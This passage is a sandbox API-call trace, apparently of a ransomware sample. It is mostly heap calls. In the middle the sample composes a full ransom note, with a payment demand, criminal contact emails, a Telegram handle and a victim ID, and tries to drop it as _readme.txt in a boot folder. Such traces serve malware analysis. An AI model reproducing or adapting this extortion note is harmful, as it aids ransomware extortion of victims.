hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.604] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.604] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.604] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.604] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.604] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.604] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.604] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.604] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.604] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.604] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.604] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.604] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.604] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.604] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.605] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.605] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.605] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.605] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.605] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.605] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.605] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.605] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.605] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.605] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.605] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.605] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.605] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.605] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.605] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.605] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.605] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.605] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.605] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.605] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.605] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.605] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.605] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.605] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.605] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.605] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.605] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.605] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.605] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.605] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.605] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.605] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.605] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.605] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.605] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.606] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.606] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.606] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.606] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.606] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.606] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.606] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.606] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.606] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.606] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.606] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.606] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.606] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.606] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.606] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.606] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.606] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.606] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.606] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.606] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.606] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.606] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.606] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.606] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.606] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.606] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.606] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.606] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.606] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.606] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.606] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.606] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.607] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.607] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.607] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.607] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.607] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.607] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.607] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.607] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.607] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.607] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.607] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.607] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.607] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.607] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.607] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.607] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.607] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.607] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.607] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.607] PathFindFileNameW (pszPath="C:\\Boot\\it-IT\\") returned="it-IT\\" [0119.607] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.607] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0119.607] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.607] PathFindFileNameW (pszPath="") returned="" [0119.607] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.607] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x754f0000 [0119.608] GetProcAddress (hModule=0x754f0000, lpProcName="SHGetFolderPathW") returned 0x75575708 [0119.608] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x800) returned 0x3092b80 [0119.608] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3092b80 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0119.608] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x810) returned 0x307f550 [0119.608] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.608] FreeLibrary (hLibModule=0x754f0000) returned 1 [0119.608] PathAppendW (in: pszPath="C:\\Boot\\it-IT\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\it-IT\\_readme.txt") returned 1 [0119.608] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.608] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.608] PathFileExistsW (pszPath="C:\\Boot\\it-IT\\_readme.txt") returned 0 [0119.609] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x7d00) returned 0x3095780 [0119.609] lstrcpyW (in: lpString1=0x3095780, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" [0119.609] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf", lpString2="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" [0119.609] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x3080660 [0119.609] CreateFileW (lpFileName="C:\\Boot\\it-IT\\_readme.txt" (normalized: "c:\\boot\\it-it\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.609] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3080660 | out: hHeap=0x5e0000) returned 1 [0119.609] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3095780 | out: hHeap=0x5e0000) returned 1 [0119.609] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.609] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.609] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.610] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.610] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.610] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0119.610] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0119.610] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.610] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.610] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30229c0 | out: hHeap=0x5e0000) returned 1 [0119.610] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30229c0 [0119.610] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.610] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.610] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.610] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.610] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.610] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.610] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.610] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.610] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.610] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.610] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.610] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.610] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.610] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.610] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.610] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.610] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.610] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.611] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.611] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.611] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.611] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.611] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.611] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.611] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.611] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.611] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.611] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0119.611] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.611] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.611] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.611] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.611] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.611] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.611] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.611] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.611] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.611] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.611] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.611] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.611] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.611] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 